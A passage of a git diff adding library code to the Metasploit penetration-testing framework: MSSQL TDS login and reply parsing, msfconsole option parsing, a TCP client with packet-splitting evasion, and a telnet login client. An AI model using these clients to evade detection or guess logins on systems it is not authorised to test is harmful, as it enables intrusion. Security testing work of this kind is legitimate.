pname.length + + pkt << [idx, aname.length / 2].pack('vv') + idx += aname.length + + pkt << [idx, sname.length / 2].pack('vv') + idx += sname.length + + pkt << [0, 0].pack('vv') + + pkt << [idx, aname.length / 2].pack('vv') + idx += aname.length + + pkt << [idx, 0].pack('vv') + + pkt << [idx, dname.length / 2].pack('vv') + idx += dname.length + + # The total length has to be embedded twice more here + pkt << [ + 0, + 0, + 0x12345678, + 0x12345678 + ].pack('vVVV') + + pkt << cname + pkt << uname + pkt << pname + pkt << aname + pkt << sname + pkt << aname + pkt << dname + + # Total packet length + pkt[0,4] = [pkt.length].pack('V') + + # Embedded packet lengths + pkt[pkt.index([0x12345678].pack('V')), 8] = [pkt.length].pack('V') * 2 + + # Packet header and total length including header + pkt = "\x10\x01" + [pkt.length + 8].pack('n') + [0].pack('n') + [1].pack('C') + "\x00" + pkt + + resp = mssql_send_recv(pkt) + + end + + info = {:errors => []} + info = mssql_parse_reply(resp,info) + + return false if not info + info[:login_ack] ? true : false + end + + # + # Parse an "environment change" TDS token + # + def mssql_parse_env(data, info) + len = data.slice!(0,2).unpack('v')[0] + buff = data.slice!(0,len) + type = buff.slice!(0,1).unpack('C')[0] + + nval = '' + nlen = buff.slice!(0,1).unpack('C')[0] || 0 + nval = buff.slice!(0,nlen*2).gsub("\x00", '') if nlen > 0 + + oval = '' + olen = buff.slice!(0,1).unpack('C')[0] || 0 + oval = buff.slice!(0,olen*2).gsub("\x00", '') if olen > 0 + + info[:envs] ||= [] + info[:envs] << { :type => type, :old => oval, :new => nval } + info + end + + # + # Parse a "ret" TDS token + # + def mssql_parse_ret(data, info) + ret = data.slice!(0,4).unpack('N')[0] + info[:ret] = ret + info + end + + # + # Parse a "done" TDS token + # + def mssql_parse_done(data, info) + status,cmd,rows = data.slice!(0,8).unpack('vvV') + info[:done] = { :status => status, :cmd => cmd, :rows => rows } + info + end + + # + # Parse an "error" TDS token + # + def mssql_parse_error(data, info) + len = data.slice!(0,2).unpack('v')[0] + buff = data.slice!(0,len) + + errno,state,sev,elen = buff.slice!(0,8).unpack('VCCv') + emsg = buff.slice!(0,elen * 2) + emsg.gsub!("\x00", '') + + info[:errors] << "SQL Server Error ##{errno} (State:#{state} Severity:#{sev}): #{emsg}" + info + end + + # + # Parse an "information" TDS token + # + def mssql_parse_info(data, info) + len = data.slice!(0,2).unpack('v')[0] + buff = data.slice!(0,len) + + errno,state,sev,elen = buff.slice!(0,8).unpack('VCCv') + emsg = buff.slice!(0,elen * 2) + emsg.gsub!("\x00", '') + + info[:infos]||= [] + info[:infos] << "SQL Server Info ##{errno} (State:#{state} Severity:#{sev}): #{emsg}" + info + end + + # + # Parse a "login ack" TDS token + # + def mssql_parse_login_ack(data, info) + len = data.slice!(0,2).unpack('v')[0] + buff = data.slice!(0,len) + info[:login_ack] = true + end + + # + # Parse individual tokens from a TDS reply + # + def mssql_parse_reply(data, info) + info[:errors] = [] + return if not data + until data.empty? + token = data.slice!(0,1).unpack('C')[0] + case token + when 0x81 + mssql_parse_tds_reply(data, info) + when 0xd1 + mssql_parse_tds_row(data, info) + when 0xe3 + mssql_parse_env(data, info) + when 0x79 + mssql_parse_ret(data, info) + when 0xfd, 0xfe, 0xff + mssql_parse_done(data, info) + when 0xad + mssql_parse_login_ack(data, info) + when 0xab + mssql_parse_info(data, info) + when 0xaa + mssql_parse_error(data, info) + when nil + break + else + info[:errors] << "unsupported token: #{token}" + end + end + info + end + + # + # Parse a raw TDS reply from the server + # + def mssql_parse_tds_reply(data, info) + info[:errors] ||= [] + info[:colinfos] ||= [] + info[:colnames] ||= [] + + # Parse out the columns + cols = data.slice!(0,2).unpack('v')[0] + 0.upto(cols-1) do |col_idx| + col = {} + info[:colinfos][col_idx] = col + + col[:utype] = data.slice!(0,2).unpack('v')[0] + col[:flags] = data.slice!(0,2).unpack('v')[0] + col[:type] = data.slice!(0,1).unpack('C')[0] + + case col[:type] + when 48 + col[:id] = :tinyint + + when 52 + col[:id] = :smallint + + when 56 + col[:id] = :rawint + + when 61 + col[:id] = :datetime + + when 34 + col[:id] = :image + col[:max_size] = data.slice!(0,4).unpack('V')[0] + col[:value_length] = data.slice!(0,2).unpack('v')[0] + col[:value] = data.slice!(0, col[:value_length] * 2).gsub("\x00", '') + + when 36 + col[:id] = :string + + when 38 + col[:id] = :int + col[:int_size] = data.slice!(0,1).unpack('C')[0] + + when 127 + col[:id] = :bigint + + when 165 + col[:id] = :hex + col[:max_size] = data.slice!(0,2).unpack('v')[0] + + when 173 + col[:id] = :hex # binary(2) + col[:max_size] = data.slice!(0,2).unpack('v')[0] + + when 231,175,167,239 + col[:id] = :string + col[:max_size] = data.slice!(0,2).unpack('v')[0] + col[:codepage] = data.slice!(0,2).unpack('v')[0] + col[:cflags] = data.slice!(0,2).unpack('v')[0] + col[:charset_id] = data.slice!(0,1).unpack('C')[0] + + else + col[:id] = :unknown + end + + col[:msg_len] = data.slice!(0,1).unpack('C')[0] + + if(col[:msg_len] and col[:msg_len] > 0) + col[:name] = data.slice!(0, col[:msg_len] * 2).gsub("\x00", '') + end + info[:colnames] << (col[:name] || 'NULL') + end + end + + # + # Parse a single row of a TDS reply + # + def mssql_parse_tds_row(data, info) + info[:rows] ||= [] + row = [] + + info[:colinfos].each do |col| + + if(data.length == 0) + row << "<EMPTY>" + next + end + + case col[:id] + when :hex + str = "" + len = data.slice!(0,2).unpack('v')[0] + if(len > 0 and len < 65535) + str << data.slice!(0,len) + end + row << str.unpack("H*")[0] + + when :string + str = "" + len = data.slice!(0,2).unpack('v')[0] + if(len > 0 and len < 65535) + str << data.slice!(0,len) + end + row << str.gsub("\x00", '') + + when :datetime + row << data.slice!(0,8).unpack("H*")[0] + + when :rawint + row << data.slice!(0,4).unpack('V')[0] + + when :bigint + row << data.slice!(0,8).unpack("H*")[0] + + when :smallint + row << data.slice!(0, 2).unpack("v")[0] + + when :smallint3 + row << [data.slice!(0, 3)].pack("Z4").unpack("V")[0] + + when :tinyint + row << data.slice!(0, 1).unpack("C")[0] + + when :image + str = '' + len = data.slice!(0,1).unpack('C')[0] + str = data.slice!(0,len) if (len and len > 0) + row << str.unpack("H*")[0] + + when :int + len = data.slice!(0, 1).unpack("C")[0] + raw = data.slice!(0, len) if (len and len > 0) + + case len + when 0,255 + row << '' + when 1 + row << raw.unpack("C")[0] + when 2 + row << raw.unpack('v')[0] + when 4 + row << raw.unpack('V')[0] + when 5 + row << raw.unpack('V')[0] # XXX: missing high byte + when 8 + row << raw.unpack('VV')[0] # XXX: missing high dword + else + info[:errors] << "invalid integer size: #{len} #{data[0,16].unpack("H*")[0]}" + end + else + info[:errors] << "unknown column type: #{col.inspect}" + end + end + + info[:rows] << row + info + end + + # + #this method send a prelogin packet and check if encryption is off + # + def mssql_prelogin(enc_error=false) + + pkt = "" + pkt_hdr = "" + pkt_data_token = "" + pkt_data = "" + + + pkt_hdr = [ + TYPE_PRE_LOGIN_MESSAGE, #type + STATUS_END_OF_MESSAGE, #status + 0x0000, #length + 0x0000, # SPID + 0x00, # PacketID + 0x00 #Window + ] + + version = [0x55010008,0x0000].pack("Vv") + encryption = ENCRYPT_NOT_SUP # off + instoptdata = "MSSQLServer\0" + + threadid = "\0\0" + Rex::Text.rand_text(2) + + idx = 21 # size of pkt_data_token + pkt_data_token << [ + 0x00, # Token 0 type Version + idx , # VersionOffset + version.length, # VersionLength + + 0x01, # Token 1 type Encryption + idx = idx + version.length, # EncryptionOffset + 0x01, # EncryptionLength + + 0x02, # Token 2 type InstOpt + idx = idx + 1, # InstOptOffset + instoptdata.length, # InstOptLength + + 0x03, # Token 3 type Threadid + idx + instoptdata.length, # ThreadIdOffset + 0x04, # ThreadIdLength + + 0xFF + ].pack("CnnCnnCnnCnnC") + + pkt_data << pkt_data_token + pkt_data << version + pkt_data << encryption + pkt_data << instoptdata + pkt_data << threadid + + pkt_hdr[2] = pkt_data.length + 8 + + pkt = pkt_hdr.pack("CCnnCC") + pkt_data + + resp = mssql_send_recv(pkt) + + idx = 0 + + while resp and resp[0,1] != "\xff" and resp.length > 5 + token = resp.slice!(0,5) + token = token.unpack("Cnn") + idx -= 5 + if token[0] == 0x01 + + idx += token[1] + break + end + end + if idx > 0 + encryption_mode = resp[idx,1].unpack("C")[0] + else + #force to ENCRYPT_NOT_SUP and hope for the best + encryption_mode = ENCRYPT_NOT_SUP + end + + if encryption_mode != ENCRYPT_NOT_SUP and enc_error + raise RuntimeError,"Encryption is not supported" + end + encryption_mode + end + + # + # Send and receive using TDS + # + def mssql_send_recv(req, timeout=15, check_status = true) + sock.put(req) + + # Read the 8 byte header to get the length and status + # Read the length to get the data + # If the status is 0, read another header and more data + + done = false + resp = "" + + while(not done) + head = sock.get_once(8, timeout) + if !(head and head.length == 8) + return false + end + + # Is this the last buffer? + if(head[1,1] == "\x01" or not check_status ) + done = true + end + + # Grab this block's length + rlen = head[2,2].unpack('n')[0] - 8 + + while(rlen > 0) + buff = sock.get_once(rlen, timeout) + return if not buff + resp << buff + rlen -= buff.length + end + end + + resp + end + + # + # Encrypt a password according to the TDS protocol (encode) + # + def mssql_tds_encrypt(pass) + # Convert to unicode, swap 4 bits both ways, xor with 0xa5 + Rex::Text.to_unicode(pass).unpack('C*').map {|c| (((c & 0x0f) << 4) + ((c & 0xf0) >> 4)) ^ 0xa5 }.pack("C*") + end + + protected + + def windows_authentication + raise NotImplementedError + end + + def use_ntlm2_session + raise NotImplementedError + end + + def use_ntlmv2 + raise NotImplementedError + end + + def send_lm + raise NotImplementedError + end + + def send_ntlm + raise NotImplementedError + end + + def send_spn + raise NotImplementedError + end + + end + + end + end +end \ No newline at end of file diff --git a/lib/metasploit/framework/parsed_options.rb b/lib/metasploit/framework/parsed_options.rb new file mode 100644 index 0000000000..4a5727fc0f --- /dev/null +++ b/lib/metasploit/framework/parsed_options.rb @@ -0,0 +1,27 @@ +# +# Gems +# + +require 'active_support/dependencies/autoload' + +# @note Must use the nested declaration of the +# {Metasploit::Framework::ParsedOptions} namespace because commands, which +# use parsed options, need to be able to be required directly without any +# other part of metasploit-framework besides config/boot so that the +# commands can parse arguments, setup RAILS_ENV, and load +# config/application.rb correctly. +module Metasploit + module Framework + # Namespace for parsed options for {Metasploit::Framework::Command + # commands}. The names of `Class`es in this namespace correspond to the + # name of the `Class` in the {Metasploit::Framework::Command} namespace + # for which this namespace's `Class` parses options. + module ParsedOptions + extend ActiveSupport::Autoload + + autoload :Base + autoload :Console + end + end +end + diff --git a/lib/metasploit/framework/parsed_options/base.rb b/lib/metasploit/framework/parsed_options/base.rb new file mode 100644 index 0000000000..c8434b3ec0 --- /dev/null +++ b/lib/metasploit/framework/parsed_options/base.rb @@ -0,0 +1,177 @@ +# +# Standard Library +# + +require 'optparse' + +# +# Gems +# + +require 'active_support/ordered_options' + +# +# Project +# + +require 'metasploit/framework/database' +require 'metasploit/framework/parsed_options' + +# Options parsed from the command line that can be used to change the +# `Metasploit::Framework::Application.config` and `Rails.env` +class Metasploit::Framework::ParsedOptions::Base + # + # CONSTANTS + # + + # msfconsole boots in production mode instead of the normal rails default of + # development. + DEFAULT_ENVIRONMENT = 'production' + + # + # Attributes + # + + attr_reader :positional + + # + # Instance Methods + # + + def initialize(arguments=ARGV) + @positional = option_parser.parse(arguments) + end + + # Translates {#options} to the `application`'s config + # + # @param application [Rails::Application] + # @return [void] + def configure(application) + application.config['config/database'] = options.database.config + end + + # Sets the `RAILS_ENV` environment variable. + # + # 1. If the -E/--environment option is given, then its value is used. + # 2. The default value, 'production', is used. + # + # @return [void] + def environment! + if defined?(Rails) && Rails.instance_variable_defined?(:@_env) && Rails.env != options.environment + raise "#{self.class}##{__method__} called too late to set RAILS_ENV: Rails.env already memoized" + end + + ENV['RAILS_ENV'] = options.environment + end + + # Options parsed from + # + # @return [ActiveSupport::OrderedOptions] + def options + unless @options + options = ActiveSupport::OrderedOptions.new + + options.database = ActiveSupport::OrderedOptions.new + + options.database.config = Metasploit::Framework::Database.configurations_pathname.try(:to_path) + options.database.disable = false + options.database.migrations_paths = [] + + # If RAILS_ENV is set, then it will be used, but if RAILS_ENV is set and the --environment option is given, then + # --environment value will be used to reset ENV[RAILS_ENV]. + options.environment = ENV['RAILS_ENV'] || DEFAULT_ENVIRONMENT + + options.framework = ActiveSupport::OrderedOptions.new + options.framework.config = nil + + options.modules = ActiveSupport::OrderedOptions.new + options.modules.path = nil + + @options = options + end + + @options + end + + private + + # Parses arguments into {#options}. + # + # @return [OptionParser] + def option_parser + @option_parser ||= OptionParser.new { |option_parser| + option_parser.separator '' + option_parser.separator 'Common options' + + option_parser.on( + '-E', + '--environment ENVIRONMENT', + %w{development production test}, + "The Rails environment. Will use RAIL_ENV environment variable if that is set. " \ + "Defaults to production if neither option not RAILS_ENV environment variable is set." + ) do |environment| + options.environment = environment + end + + option_parser.separator '' + option_parser.separator 'Database options' + + option_parser.on( + '-M', + '--migration-path DIRECTORY', + 'Specify a directory containing additional DB migrations' + ) do |directory| + options.database.migrations_paths << directory + end + + option_parser.on('-n', '--no-database', 'Disable database support') do + options.database.disable = true + end + + option_parser.on( + '-y', + '--yaml PATH', + 'Specify a YAML file containing database settings' + ) do |path| + options.database.config = path + end + + option_parser.separator '' + option_parser.separator 'Framework options' + + + option_parser.on('-c', '-c FILE', 'Load the specified configuration file') do |file| + options.framework.config = file + end + + option_parser.on( + '-v', + '--version', + 'Show version' + ) do + options.subcommand = :version + end + + option_parser.separator '' + option_parser.separator 'Module options' + + option_parser.on( + '-m', + '--module-path DIRECTORY', + 'An additional module path' + ) do |directory| + options.modules.path = directory + end + + # + # Tail + # + + option_parser.separator '' + option_parser.on_tail('-h', '--help', 'Show this message') do + puts option_parser + exit + end + } + end +end diff --git a/lib/metasploit/framework/parsed_options/console.rb b/lib/metasploit/framework/parsed_options/console.rb new file mode 100644 index 0000000000..ff9f75a73f --- /dev/null +++ b/lib/metasploit/framework/parsed_options/console.rb @@ -0,0 +1,79 @@ +# Parsed options for {Metasploit::Framework::Command::Console} +class Metasploit::Framework::ParsedOptions::Console < Metasploit::Framework::ParsedOptions::Base + # Options parsed from msfconsole command-line. + # + # @return [ActiveSupport::OrderedOptions] + def options + unless @options + super.tap { |options| + options.console = ActiveSupport::OrderedOptions.new + + options.console.commands = [] + options.console.confirm_exit = false + options.console.defanged = false + options.console.local_output = nil + options.console.plugins = [] + options.console.quiet = false + options.console.real_readline = false + options.console.resources = [] + options.console.subcommand = :run + } + end + + @options + end + + private + + # Parses msfconsole arguments into {#options}. + # + # @return [OptionParser] + def option_parser + unless @option_parser + super.tap { |option_parser| + option_parser.banner = "Usage: #{option_parser.program_name} [options]" + + option_parser.separator '' + option_parser.separator 'Console options:' + + option_parser.on('-a', '--ask', "Ask before exiting Metasploit or accept 'exit -y'") do + options.console.confirm_exit = true + end + + option_parser.on('-d', '--defanged', 'Execute the console as defanged') do + options.console.defanged = true + end + + option_parser.on('-L', '--real-readline', 'Use the system Readline library instead of RbReadline') do + options.console.real_readline = true + end + + option_parser.on('-o', '--output FILE', 'Output to the specified file') do |file| + options.console.local_output = file + end + + option_parser.on('-p', '--plugin PLUGIN', 'Load a plugin on startup') do |plugin| + options.console.plugins << plugin + end + + option_parser.on('-q', '--quiet', 'Do not print the banner on start up') do + options.console.quiet = true + end + + option_parser.on('-r', '--resource FILE', 'Execute the specified resource file') do |file| + options.console.resources << file + end + + option_parser.on( + '-x', + '--execute-command COMMAND', + 'Execute the specified string as console commands (use ; for multiples)' + ) do |commands| + options.console.commands += commands.split(/\s*;\s*/) + end + } + end + + @option_parser + end +end diff --git a/lib/metasploit/framework/require.rb b/lib/metasploit/framework/require.rb new file mode 100644 index 0000000000..760771c488 --- /dev/null +++ b/lib/metasploit/framework/require.rb @@ -0,0 +1,96 @@ +# @note needs to use explicit nesting. so this file can be loaded directly without loading 'metasploit/framework', this +# file can be used prior to Bundler.require. +module Metasploit + module Framework + # Extension to `Kernel#require` behavior. + module Require + # + # Module Methods + # + + # Tries to require `name`. If a `LoadError` occurs, then `without_warning` is printed to standard error using + # `Kernel#warn`, along with instructions for reinstalling the bundle. If a `LoadError` does not occur, then + # `with_block` is called. + # + # @param name [String] the name of the library to `Kernel#require`. + # @param without_warning [String] warning to print if `name` cannot be required. + # @yield block to run when `name` requires successfully + # @yieldreturn [void] + # @return [void] + def self.optionally(name, without_warning) + begin + require name + rescue LoadError + warn without_warning + warn "Bundle installed '--without #{Bundler.settings.without.join(' ')}'" + warn "To clear the without option do `bundle install --without ''` " \ + "(the --without flag with an empty string) or " \ + "`rm -rf .bundle` to remove the .bundle/config manually and " \ + "then `bundle install`" + else + if block_given? + yield + end + end + end + + # Tries to `require 'active_record/railtie'` to define the activerecord Rails initializers and rake tasks. + # + # @example Optionally requiring 'active_record/railtie' + # require 'metasploit/framework/require' + # + # class MyClass + # def setup + # if database_enabled + # Metasploit::Framework::Require.optionally_active_record_railtie + # end + # end + # end + # + # @return [void] + def self.optionally_active_record_railtie + if ::File.exist?(Rails.application.config.paths['config/database'].first) + optionally( + 'active_record/railtie', + 'activerecord not in the bundle, so database support will be disabled.' + ) + else + warn 'Could not find database.yml, so database support will be disabled.' + end + end + + # Tries to `require 'metasploit/credential/creation'` and include it in the `including_module`. + # + # @param including_module [Module] `Class` or `Module` that wants to `include Metasploit::Credential::Creation`. + # @return [void] + def self.optionally_include_metasploit_credential_creation(including_module) + optionally( + 'metasploit/credential/creation', + "metasploit-credential not in the bundle, so Metasploit::Credential creation will fail for #{including_module.name}", + ) do + including_module.send(:include, Metasploit::Credential::Creation) + end + end + + # + # Instance Methods + # + + # Tries to `require 'metasploit/credential/creation'` and include it in this `Class` or `Module`. + # + # @example Using in a `Module` + # require 'metasploit/framework/require' + # + # module MyModule + # extend Metasploit::Framework::Require + # + # optionally_include_metasploit_credential_creation + # end + # + # @return [void] + def optionally_include_metasploit_credential_creation + Metasploit::Framework::Require.optionally_include_metasploit_credential_creation(self) + end + end + end +end diff --git a/lib/metasploit/framework/tcp/client.rb b/lib/metasploit/framework/tcp/client.rb new file mode 100644 index 0000000000..9320936192 --- /dev/null +++ b/lib/metasploit/framework/tcp/client.rb @@ -0,0 +1,186 @@ +module Metasploit + module Framework + module Tcp + + module EvasiveTCP + attr_accessor :_send_size, :_send_delay, :evasive + + def denagle + begin + setsockopt(Socket::IPPROTO_TCP, Socket::TCP_NODELAY, 1) + rescue ::Exception + end + end + + def write(buf, opts={}) + + return super(buf, opts) if not @evasive + + ret = 0 + idx = 0 + len = @_send_size || buf.length + + while(idx < buf.length) + + if(@_send_delay and idx > 0) + ::IO.select(nil, nil, nil, @_send_delay) + end + + pkt = buf[idx, len] + + res = super(pkt, opts) + flush() + + idx += len + ret += res if res + end + ret + end + end + + module Client + + # + # Establishes a TCP connection to the specified RHOST/RPORT + # + # @see Rex::Socket::Tcp + # @see Rex::Socket::Tcp.create + def connect(global = true, opts={}) + + dossl = false + if(opts.has_key?('SSL')) + dossl = opts['SSL'] + else + dossl = ssl + end + + nsock = Rex::Socket::Tcp.create( + 'PeerHost' => opts['RHOST'] || rhost, + 'PeerPort' => (opts['RPORT'] || rport).to_i, + 'LocalHost' => opts['CHOST'] || chost || "0.0.0.0", + 'LocalPort' => (opts['CPORT'] || cport || 0).to_i, + 'SSL' => dossl, + 'SSLVersion' => opts['SSLVersion'] || ssl_version, + 'Proxies' => proxies, + 'Timeout' => (opts['ConnectTimeout'] || connection_timeout || 10).to_i + ) + + # enable evasions on this socket + set_tcp_evasions(nsock) + + # Set this socket to the global socket as necessary + self.sock = nsock if (global) + + return nsock + end + + # Enable evasions on a given client + def set_tcp_evasions(socket) + + if( max_send_size.to_i == 0 and send_delay.to_i == 0) + return + end + + return if socket.respond_to?('evasive') + + socket.extend(EvasiveTCP) + + if ( max_send_size.to_i > 0) + socket._send_size = max_send_size + socket.denagle + socket.evasive = true + end + + if ( send_delay.to_i > 0) + socket._send_delay = send_delay + socket.evasive = true + end + end + + # + # Closes the TCP connection + # + def disconnect(nsock = self.sock) + begin + if (nsock) + nsock.shutdown + nsock.close + end + rescue IOError + end + + if (nsock == sock) + self.sock = nil + end + + end + + ## + # + # Wrappers for getters + # + ## + + def max_send_size + raise NotImplementedError + end + + def send_delay + raise NotImplementedError + end + + # + # Returns the target host + # + def rhost + raise NotImplementedError + end + + # + # Returns the remote port + # + def rport + raise NotImplementedError + end + + # + # Returns the local host for outgoing connections + # + def chost + raise NotImplementedError + end + + # + # Returns the local port for outgoing connections + # + def cport + raise NotImplementedError + end + + # + # Returns the boolean indicating SSL + # + def ssl + raise NotImplementedError + end + + # + # Returns the string indicating SSLVersion + # + def ssl_version + raise NotImplementedError + end + + # + # Returns the proxy configuration + # + def proxies + raise NotImplementedError + end + + attr_accessor :sock + + end + end + end +end diff --git a/lib/metasploit/framework/telnet/client.rb b/lib/metasploit/framework/telnet/client.rb new file mode 100644 index 0000000000..7b88dcf2bf --- /dev/null +++ b/lib/metasploit/framework/telnet/client.rb @@ -0,0 +1,219 @@ +require 'metasploit/framework/tcp/client' + +module Metasploit + module Framework + module Telnet + module Client + include Metasploit::Framework::Tcp::Client + include Msf::Auxiliary::Login + + attr_accessor :banner + + # + # CONSTANTS + # + # Borrowing constants from Ruby's Net::Telnet class (ruby license) + IAC = 255.chr # "\377" # "\xff" # interpret as command + DONT = 254.chr # "\376" # "\xfe" # you are not to use option + DO = 253.chr # "\375" # "\xfd" # please, you use option + WONT = 252.chr # "\374" # "\xfc" # I won't use option + WILL = 251.chr # "\373" # "\xfb" # I will use option + SB = 250.chr # "\372" # "\xfa" # interpret as subnegotiation + GA = 249.chr # "\371" # "\xf9" # you may reverse the line + EL = 248.chr # "\370" # "\xf8" # erase the current line + EC = 247.chr # "\367" # "\xf7" # erase the current character + AYT = 246.chr # "\366" # "\xf6" # are you there + AO = 245.chr # "\365" # "\xf5" # abort output--but let prog finish + IP = 244.chr # "\364" # "\xf4" # interrupt process--permanently + BREAK = 243.chr # "\363" # "\xf3" # break + DM = 242.chr # "\362" # "\xf2" # data mark--for connect. cleaning + NOP = 241.chr # "\361" # "\xf1" # nop + SE = 240.chr # "\360" # "\xf0" # end sub negotiation + EOR = 239.chr # "\357" # "\xef" # end of record (transparent mode) + ABORT = 238.chr # "\356" # "\xee" # Abort process + SUSP = 237.chr # "\355" # "\xed" # Suspend process + EOF = 236.chr # "\354" # "\xec" # End of file + SYNCH = 242.chr # "\362" # "\xf2" # for telfunc calls + + OPT_BINARY = 0.chr # "\000" # "\x00" # Binary Transmission + OPT_ECHO = 1.chr # "\001" # "\x01" # Echo + OPT_RCP = 2.chr # "\002" # "\x02" # Reconnection + OPT_SGA = 3.chr # "\003" # "\x03" # Suppress Go Ahead + OPT_NAMS = 4.chr # "\004" # "\x04" # Approx Message Size Negotiation + OPT_STATUS = 5.chr # "\005" # "\x05" # Status + OPT_TM = 6.chr # "\006" # "\x06" # Timing Mark + OPT_RCTE = 7.chr # "\a" # "\x07" # Remote Controlled Trans and Echo + OPT_NAOL = 8.chr # "\010" # "\x08" # Output Line Width + OPT_NAOP = 9.chr # "\t" # "\x09" # Output Page Size + OPT_NAOCRD = 10.chr # "\n" # "\x0a" # Output Carriage-Return Disposition + OPT_NAOHTS = 11.chr # "\v" # "\x0b" # Output Horizontal Tab Stops + OPT_NAOHTD = 12.chr # "\f" # "\x0c" # Output Horizontal Tab Disposition + OPT_NAOFFD = 13.chr # "\r" # "\x0d" # Output Formfeed Disposition + OPT_NAOVTS = 14.chr # "\016" # "\x0e" # Output Vertical Tabstops + OPT_NAOVTD = 15.chr # "\017" # "\x0f" # Output Vertical Tab Disposition + OPT_NAOLFD = 16.chr # "\020" # "\x10" # Output Linefeed Disposition + OPT_XASCII = 17.chr # "\021" # "\x11" # Extended ASCII + OPT_LOGOUT = 18.chr # "\022" # "\x12" # Logout + OPT_BM = 19.chr # "\023" # "\x13" # Byte Macro + OPT_DET = 20.chr # "\024" # "\x14" # Data Entry Terminal + OPT_SUPDUP = 21.chr # "\025" # "\x15" # SUPDUP + OPT_SUPDUPOUTPUT = 22.chr # "\026" # "\x16" # SUPDUP Output + OPT_SNDLOC = 23.chr # "\027" # "\x17" # Send Location + OPT_TTYPE = 24.chr # "\030" # "\x18" # Terminal Type + OPT_EOR = 25.chr # "\031" # "\x19" # End of Record + OPT_TUID = 26.chr # "\032" # "\x1a" # TACACS User Identification + OPT_OUTMRK = 27.chr # "\e" # "\x1b" # Output Marking + OPT_TTYLOC = 28.chr # "\034" # "\x1c" # Terminal Location Number + OPT_3270REGIME = 29.chr # "\035" # "\x1d" # Telnet 3270 Regime + OPT_X3PAD = 30.chr # "\036" # "\x1e" # X.3 PAD + OPT_NAWS = 31.chr # "\037" # "\x1f" # Negotiate About Window Size + OPT_TSPEED = 32.chr # " " # "\x20" # Terminal Speed + OPT_LFLOW = 33.chr # "!" # "\x21" # Remote Flow Control + OPT_LINEMODE = 34.chr # "\"" # "\x22" # Linemode + OPT_XDISPLOC = 35.chr # "#" # "\x23" # X Display Location + OPT_OLD_ENVIRON = 36.chr # "$" # "\x24" # Environment Option + OPT_AUTHENTICATION = 37.chr # "%" # "\x25" # Authentication Option + OPT_ENCRYPT = 38.chr # "&" # "\x26" # Encryption Option + OPT_NEW_ENVIRON = 39.chr # "'" # "\x27" # New Environment Option + OPT_EXOPL = 255.chr # "\377" # "\xff" # Extended-Options-List + + # + # This method establishes an Telnet connection to host and port specified by + # the RHOST and RPORT options, respectively. After connecting, the banner + # message is read in and stored in the 'banner' attribute. This method has the + # benefit of handling telnet option negotiation. + # + def connect(global = true, verbose = true) + @trace = '' + @recvd = '' + fd = super(global) + + self.banner = '' + # Wait for a banner to arrive... + begin + Timeout.timeout(banner_timeout) do + while(true) + buff = recv(fd) + self.banner << buff if buff + if(self.banner =~ @login_regex or self.banner =~ @password_regex) + break + elsif self.banner =~ @busy_regex + # It's about to drop connection anyway -- seen on HP JetDirect telnet server + break + end + end + end + rescue ::Timeout::Error + end + + self.banner.strip! + + # Return the file descriptor to the caller + fd + end + + # Sometimes telnet servers start RSTing if you get them angry. + # This is a short term fix; the problem is that we don't know + # if it's going to reset forever, or just this time, or randomly. + # A better solution is to get the socket connect to try again + # with a little backoff. + def connect_reset_safe + begin + connect + rescue Rex::ConnectionRefused + return :refused + end + return :connected + end + + def recv(fd=self.sock, timeout=telnet_timeout) + recv_telnet(fd, timeout.to_f) + end + + # + # Handle telnet option negotiation + # + # Appends to the @recvd buffer which is used to tell us whether we're at a + # login prompt, a password prompt, or a working shell. + # + def recv_telnet(fd, timeout) + + data = '' + + begin + data = fd.get_once(-1, timeout) + return nil if not data or data.length == 0 + + # combine CR+NULL into CR + data.gsub!(/#{CR}#{NULL}/no, CR) + + # combine EOL into "\n" + data.gsub!(/#{EOL}/no, "\n") + + data.gsub!(/#{IAC}( + [#{IAC}#{AO}#{AYT}#{DM}#{IP}#{NOP}]|[#{DO}#{DONT}#{WILL}#{WONT}] + [#{OPT_BINARY}-#{OPT_NEW_ENVIRON}#{OPT_EXOPL}]|#{SB}[^#{IAC}]*#{IAC}#{SE} + )/xno) do + m = $1 + + if m == IAC + IAC + elsif m == AYT + fd.write("YES" + EOL) + '' + elsif m[0,1] == DO + if(m[1,1] == OPT_BINARY) + fd.write(IAC + WILL + OPT_BINARY) + else + fd.write(IAC + WONT + m[1,1]) + end + '' + elsif m[0,1] == DONT + fd.write(IAC + WONT + m[1,1]) + '' + elsif m[0,1] == WILL + if m[1,1] == OPT_BINARY + fd.write(IAC + DO + OPT_BINARY) + # Disable Echo + elsif m[1,1] == OPT_ECHO + fd.write(IAC + DONT + OPT_ECHO) + elsif m[1,1] == OPT_SGA + fd.write(IAC + DO + OPT_SGA) + else + fd.write(IAC + DONT + m[1,1]) + end + '' + elsif m[0,1] == WONT + fd.write(IAC + DONT + m[1,1]) + '' + else + '' + end + end + + @trace << data + @recvd << data + fd.flush + + rescue ::EOFError, ::Errno::EPIPE + end + + data + end + + # + # Wrappers for getters + # + + def banner_timeout + raise NotImplementedError + end + + def telnet_timeout + raise NotImplementedError + end + + end + end + end +end \ No newline at end of file diff --git a/lib/metasploit/framework/version.rb b/lib/metasploit/framework/version.rb new file mode 100644 index 0000000000..bd19c79202 --- /dev/null +++ b/lib/metasploit/framework/version.rb @@ -0,0 +1,13 @@ +module Metasploit + module Framework + module Version + MAJOR = 4 + MINOR = 10 + PATCH = 1 + PRERELEASE = 'dev' + end + + VERSION = "#{Version::MAJOR}.#{Version::MINOR}.#{Version::PATCH}-#{Version::PRERELEASE}" + GEM_VERSION = VERSION.gsub('-', '.pre.') + end +end diff --git a/lib/msf/base/config.rb b/lib/msf/base/config.rb index 951c556adc..beaac2a5b8 100644 --- a/lib/msf/base/config.rb +++ b/lib/msf/base/config.rb @@ -1,24 +1,30 @@ # -*- coding: binary -*- + +# +# Standard Library +# + require 'fileutils' +# +# Project +# + +require 'metasploit/framework/version' +require 'rex/compat' + module Msf -### -# # This class wraps interaction with global configuration that can be used as a # persistent storage point for configuration, logs, and other such fun things. -# -### class Config < Hash - # - # The installation root directory for the distribution - # + # The installation's root directory for the distribution InstallRoot = File.expand_path(File.join(File.dirname(__FILE__), '..', '..', '..')) - # # Determines the base configuration directory. # + # @return [String] the base configuration directory def self.get_config_root # Use MSFCFGDIR environment variable first. See feature request #5797 @@ -31,23 +37,27 @@ class Config < Hash ['HOME', 'LOCALAPPDATA', 'APPDATA', 'USERPROFILE'].each do |dir| val = Rex::Compat.getenv(dir) if (val and File.directory?(val)) - return File.join(val, ".msf#{Msf::Framework::Major}") + return File.join(val, ".msf#{Metasploit::Framework::Version::MAJOR}") end end begin # First we try $HOME/.msfx - 